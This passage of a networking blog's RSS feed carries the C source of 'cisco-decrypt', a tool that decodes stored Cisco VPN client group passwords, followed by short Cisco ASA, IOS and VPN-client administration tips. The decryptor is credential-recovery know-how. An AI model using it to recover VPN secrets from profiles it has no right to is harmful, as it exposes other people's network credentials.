&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; argc; i&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ret &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; hex2bin(argv[i], &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;bin, &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;len);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (ret &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;perror(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;decoding input&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;continue&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ret &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; c_decrypt(bin, len, &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;pw, NULL);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;free(bin);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (ret &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;perror(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;decrypting input&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;continue&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;printf(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;%s&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;, pw);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;free(pw);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit(ret &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Download: cisco&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;decrypt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span><span style="color:#f92672">/*</span> Decoder <span style="color:#66d9ef">for</span> password encoding of Cisco VPN client<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>Copyright (C) <span style="color:#ae81ff">2005</span> Maurice Massar
</span></span><span style="display:flex;"><span>Thanks to HAL<span style="color:#f92672">-</span><span style="color:#ae81ff">9000</span><span style="color:#960050;background-color:#1e0010">@</span>evilscientists<span style="color:#f92672">.</span>de <span style="color:#66d9ef">for</span> decoding <span style="color:#f92672">and</span> posting the algorithm<span style="color:#f92672">!</span>This program is free software; you can redistribute it <span style="color:#f92672">and</span><span style="color:#f92672">/</span><span style="color:#f92672">or</span> modify
</span></span><span style="display:flex;"><span>it under the terms of the GNU General Public License as published by
</span></span><span style="display:flex;"><span>the Free Software Foundation; either version <span style="color:#ae81ff">2</span> of the License, <span style="color:#f92672">or</span>
</span></span><span style="display:flex;"><span>(at your option) any later version<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>This program is distributed <span style="color:#f92672">in</span> the hope that it will be useful,
</span></span><span style="display:flex;"><span>but WITHOUT ANY WARRANTY; without even the implied warranty of
</span></span><span style="display:flex;"><span>MERCHANTABILITY <span style="color:#f92672">or</span> FITNESS FOR A PARTICULAR PURPOSE<span style="color:#f92672">.</span>  See the
</span></span><span style="display:flex;"><span>GNU General Public License <span style="color:#66d9ef">for</span> more details<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>You should have received a copy of the GNU General Public License
</span></span><span style="display:flex;"><span>along with this program; <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span>, write to the Free Software
</span></span><span style="display:flex;"><span>Foundation, Inc<span style="color:#f92672">.</span>, <span style="color:#ae81ff">59</span> Temple Place, Suite <span style="color:#ae81ff">330</span>, Boston, MA  <span style="color:#ae81ff">02111</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1307</span>  USA
</span></span><span style="display:flex;"><span><span style="color:#f92672">*/</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">/*</span>
</span></span><span style="display:flex;"><span>Requires libgcrypt version <span style="color:#ae81ff">1.1</span><span style="color:#f92672">.</span><span style="color:#ae81ff">90</span> <span style="color:#f92672">or</span> newer
</span></span><span style="display:flex;"><span>Compile with:
</span></span><span style="display:flex;"><span>gcc <span style="color:#f92672">-</span>Wall <span style="color:#f92672">-</span>o cisco<span style="color:#f92672">-</span>decrypt cisco<span style="color:#f92672">-</span>decrypt<span style="color:#f92672">.</span>c <span style="color:#f92672">$</span>(libgcrypt<span style="color:#f92672">-</span>config <span style="color:#f92672">--</span>libs <span style="color:#f92672">--</span>cflags)
</span></span><span style="display:flex;"><span>Usage:
</span></span><span style="display:flex;"><span><span style="color:#f92672">./</span>cisco<span style="color:#f92672">-</span>decrypt DEADBEEF<span style="color:#f92672">...</span><span style="color:#ae81ff">012345678</span> <span style="color:#ae81ff">424242.</span><span style="color:#f92672">..</span><span style="color:#ae81ff">7261</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">*/</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include &lt;stdio.h&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include &lt;stdlib.h&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include &lt;gcrypt.h&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include &lt;errno.h&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> hex2bin_c(unsigned <span style="color:#a6e22e">int</span> c)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ((c <span style="color:#f92672">&gt;=</span> <span style="color:#e6db74">&#39;0&#39;</span>)<span style="color:#f92672">&amp;&amp;</span>(c <span style="color:#f92672">&lt;=</span> <span style="color:#e6db74">&#39;9&#39;</span>))
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> c <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;0&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ((c <span style="color:#f92672">&gt;=</span> <span style="color:#e6db74">&#39;A&#39;</span>)<span style="color:#f92672">&amp;&amp;</span>(c <span style="color:#f92672">&lt;=</span> <span style="color:#e6db74">&#39;F&#39;</span>))
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> c <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;A&#39;</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ((c <span style="color:#f92672">&gt;=</span> <span style="color:#e6db74">&#39;a&#39;</span>)<span style="color:#f92672">&amp;&amp;</span>(c <span style="color:#f92672">&lt;=</span> <span style="color:#e6db74">&#39;f&#39;</span>))
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> c <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;a&#39;</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> hex2bin(<span style="color:#66d9ef">const</span> char <span style="color:#f92672">*</span>str, char <span style="color:#f92672">**</span>bin, <span style="color:#a6e22e">int</span> <span style="color:#f92672">*</span>len)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>char <span style="color:#f92672">*</span>p;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> i, l;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>bin)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> EINVAL;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; str[i] <span style="color:#f92672">!=</span> <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\0</span><span style="color:#e6db74">&#39;</span>; i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (hex2bin_c(str[i]) <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> EINVAL;
</span></span><span style="display:flex;"><span>l <span style="color:#f92672">=</span> i;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ((l <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> EINVAL;
</span></span><span style="display:flex;"><span>l <span style="color:#f92672">/=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>p <span style="color:#f92672">=</span> malloc(l);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (p <span style="color:#f92672">==</span> NULL)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> ENOMEM;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> l; i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span>p[i] <span style="color:#f92672">=</span> hex2bin_c(str[i<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span>]) <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">|</span> hex2bin_c(str[i<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span><span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>]);
</span></span><span style="display:flex;"><span><span style="color:#f92672">*</span>bin <span style="color:#f92672">=</span> p;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (len)
</span></span><span style="display:flex;"><span><span style="color:#f92672">*</span>len <span style="color:#f92672">=</span> l;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> c_decrypt(char <span style="color:#f92672">*</span>ct, <span style="color:#a6e22e">int</span> len, char <span style="color:#f92672">**</span>resp, char <span style="color:#f92672">*</span>reslenp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> char <span style="color:#f92672">*</span>h1  <span style="color:#f92672">=</span> ct;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> char <span style="color:#f92672">*</span>h4  <span style="color:#f92672">=</span> ct <span style="color:#f92672">+</span> <span style="color:#ae81ff">20</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> char <span style="color:#f92672">*</span>enc <span style="color:#f92672">=</span> ct <span style="color:#f92672">+</span> <span style="color:#ae81ff">40</span>;
</span></span><span style="display:flex;"><span>char ht[<span style="color:#ae81ff">20</span>], h2[<span style="color:#ae81ff">20</span>], h3[<span style="color:#ae81ff">20</span>], key[<span style="color:#ae81ff">24</span>];
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> char <span style="color:#f92672">*</span>iv <span style="color:#f92672">=</span> h1;
</span></span><span style="display:flex;"><span>char <span style="color:#f92672">*</span>res;
</span></span><span style="display:flex;"><span>gcry_cipher_hd_t ctx;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> reslen;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (len <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">48</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>len <span style="color:#f92672">-=</span> <span style="color:#ae81ff">40</span>;
</span></span><span style="display:flex;"><span>memcpy(ht, h1, <span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span>ht[<span style="color:#ae81ff">19</span>]<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>gcry_md_hash_buffer(GCRY_MD_SHA1, h2, ht, <span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span>ht[<span style="color:#ae81ff">19</span>] <span style="color:#f92672">+=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>gcry_md_hash_buffer(GCRY_MD_SHA1, h3, ht, <span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span>memcpy(key, h2, <span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span>memcpy(key<span style="color:#f92672">+</span><span style="color:#ae81ff">20</span>, h3, <span style="color:#ae81ff">4</span>);
</span></span><span style="display:flex;"><span><span style="color:#f92672">/*</span> who cares about parity anyway<span style="color:#960050;background-color:#1e0010">?</span> <span style="color:#f92672">*/</span>
</span></span><span style="display:flex;"><span>gcry_md_hash_buffer(GCRY_MD_SHA1, ht, enc, len);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (memcmp(h4, ht, <span style="color:#ae81ff">20</span>) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>res <span style="color:#f92672">=</span> malloc(len);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (res <span style="color:#f92672">==</span> NULL)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>gcry_cipher_open(<span style="color:#f92672">&amp;</span>ctx, GCRY_CIPHER_3DES, GCRY_CIPHER_MODE_CBC, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>gcry_cipher_setkey(ctx, key, <span style="color:#ae81ff">24</span>);
</span></span><span style="display:flex;"><span>gcry_cipher_setiv(ctx, iv, <span style="color:#ae81ff">8</span>);
</span></span><span style="display:flex;"><span>gcry_cipher_decrypt(ctx, (unsigned char <span style="color:#f92672">*</span>)res, len, (unsigned char <span style="color:#f92672">*</span>)enc, len);
</span></span><span style="display:flex;"><span>gcry_cipher_close(ctx);
</span></span><span style="display:flex;"><span>reslen <span style="color:#f92672">=</span> len <span style="color:#f92672">-</span> res[len<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>];
</span></span><span style="display:flex;"><span>res[reslen] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\0</span><span style="color:#e6db74">&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (resp)
</span></span><span style="display:flex;"><span><span style="color:#f92672">*</span>resp <span style="color:#f92672">=</span> res;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (reslenp)
</span></span><span style="display:flex;"><span><span style="color:#f92672">*</span>reslenp <span style="color:#f92672">=</span> reslen;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> main(<span style="color:#a6e22e">int</span> argc, char <span style="color:#f92672">*</span>argv[])
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> i, len, ret <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>char <span style="color:#f92672">*</span>bin, <span style="color:#f92672">*</span>pw;
</span></span><span style="display:flex;"><span>gcry_check_version(NULL);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (i <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; i <span style="color:#f92672">&lt;</span> argc; i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>ret <span style="color:#f92672">=</span> hex2bin(argv[i], <span style="color:#f92672">&amp;</span>bin, <span style="color:#f92672">&amp;</span>len);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (ret <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>perror(<span style="color:#e6db74">&#34;decoding input&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">continue</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>ret <span style="color:#f92672">=</span> c_decrypt(bin, len, <span style="color:#f92672">&amp;</span>pw, NULL);
</span></span><span style="display:flex;"><span>free(bin);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (ret <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>perror(<span style="color:#e6db74">&#34;decrypting input&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">continue</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>printf(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pw);
</span></span><span style="display:flex;"><span>free(pw);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>exit(ret <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>Download: cisco<span style="color:#f92672">-</span>decrypt
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Cisco ASA - Enable SSH</title>
      <link>https://www.deepreflect.net/2009/08/06/cisco-asa-enable-ssh/</link>
      <pubDate>Thu, 06 Aug 2009 00:32:57 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=676</guid> 
      <description>&lt;p&gt;If you have tried to setup SSH access on a new ASA, it might not have worked the way you wanted. That is because the RSA keys need to be generated first. To do that:&lt;/p&gt;
&lt;p&gt;from configure terminal:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01/act(config)# crypto key generate rsaINFO: The name for the keys will be:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Keypair generation process begin. Please wait…
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And then configure SSH to be allowed from the inside interface:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fw01/act(config)# ssh (inser your ip) (insert your netmask) outside&lt;/code&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>If you have tried to setup SSH access on a new ASA, it might not have worked the way you wanted. That is because the RSA keys need to be generated first. To do that:</p>
<p>from configure terminal:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>fw01/act(config)# crypto key generate rsaINFO: The name for the keys will be:
</span></span><span style="display:flex;"><span>Keypair generation process begin. Please wait…
</span></span></code></pre></div><p>And then configure SSH to be allowed from the inside interface:</p>
<p><code>fw01/act(config)# ssh (inser your ip) (insert your netmask) outside</code></p>
<p>Now you can configure AAA and setup your own username.</p>
<p>First, a username needs to be created:</p>
<p><code>fw01/act(config)# username leonardo password mypassword privilege 15</code></p>
<p>And then configure AAA:</p>
<p><code>fw01/act(config)# aaa authentication ssh console LOCAL</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco - Autosave scp</title>
      <link>https://www.deepreflect.net/2009/07/01/cisco-autosave-scp/</link>
      <pubDate>Wed, 01 Jul 2009 19:15:31 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=463</guid> 
      <description>&lt;p&gt;Non ho mai trovato la giusta implementazione per usarla, ma questo dovrebbe copiare la configurazione di apparati cisco automaticamente ad ogni salvataggio:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;archive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;path scp://leo:xxxxxx@hostname/home/leo/router-backups/router
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;write-memory
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>Non ho mai trovato la giusta implementazione per usarla, ma questo dovrebbe copiare la configurazione di apparati cisco automaticamente ad ogni salvataggio:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>archive
</span></span><span style="display:flex;"><span>path scp://leo:xxxxxx@hostname/home/leo/router-backups/router
</span></span><span style="display:flex;"><span>write-memory
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Mac OS X - Cisco VPN Client</title>
      <link>https://www.deepreflect.net/2009/04/27/mac-os-x-cisco-vpn-client/</link>
      <pubDate>Mon, 27 Apr 2009 02:16:09 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=473</guid> 
      <description>&lt;p&gt;If you are running Cisco&amp;rsquo;s VPN Client on Mac OSX, you might be familiar with (or tormented by) &amp;ldquo;Error 51: Unable to communicate with the VPN subsystem&amp;rdquo;. The simple fix is to quit VPN Client, open a Terminal window, (Applications -&amp;gt; Utilities -&amp;gt; Terminal) and type the following from root user:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# /System/Library/StartupItems/CiscoVPN/CiscoVPN restart&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Stopping Cisco Systems VPN Driver
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kextunload: unload kext &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;System&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Library&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Extensions&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;CiscoVPN&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;kext succeeded
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Starting Cisco Systems VPN Driver
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kextload: &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;System&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Library&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Extensions&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;CiscoVPN&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;kext loaded successfully
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>If you are running Cisco&rsquo;s VPN Client on Mac OSX, you might be familiar with (or tormented by) &ldquo;Error 51: Unable to communicate with the VPN subsystem&rdquo;. The simple fix is to quit VPN Client, open a Terminal window, (Applications -&gt; Utilities -&gt; Terminal) and type the following from root user:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span><span style="color:#75715e"># /System/Library/StartupItems/CiscoVPN/CiscoVPN restart</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Stopping Cisco Systems VPN Driver
</span></span><span style="display:flex;"><span>kextunload: unload kext <span style="color:#f92672">/</span>System<span style="color:#f92672">/</span>Library<span style="color:#f92672">/</span>Extensions<span style="color:#f92672">/</span>CiscoVPN<span style="color:#f92672">.</span>kext succeeded
</span></span><span style="display:flex;"><span>Starting Cisco Systems VPN Driver
</span></span><span style="display:flex;"><span>kextload: <span style="color:#f92672">/</span>System<span style="color:#f92672">/</span>Library<span style="color:#f92672">/</span>Extensions<span style="color:#f92672">/</span>CiscoVPN<span style="color:#f92672">.</span>kext loaded successfully
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Cisco - page breaks</title>
      <link>https://www.deepreflect.net/2009/04/13/cisco-page-breaks/</link>
      <pubDate>Mon, 13 Apr 2009 19:14:27 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=458</guid> 
      <description>&lt;p&gt;On Router IOS:&lt;/p&gt;
&lt;p&gt;To stop the page breaks:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# terminal length 0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;To resume them:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# terminal no length 0 (or number ex. 24)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;On Pix/ASA:
To stop the page breaks.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# no pager&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;To resume them:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# pager 24&lt;/code&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>On Router IOS:</p>
<p>To stop the page breaks:</p>
<p><code># terminal length 0</code></p>
<p>To resume them:</p>
<p><code># terminal no length 0 (or number ex. 24)</code></p>
<p>On Pix/ASA:
To stop the page breaks.</p>
<p><code># no pager</code></p>
<p>To resume them:</p>
<p><code># pager 24</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco - Get &amp; Save config using telnet</title>
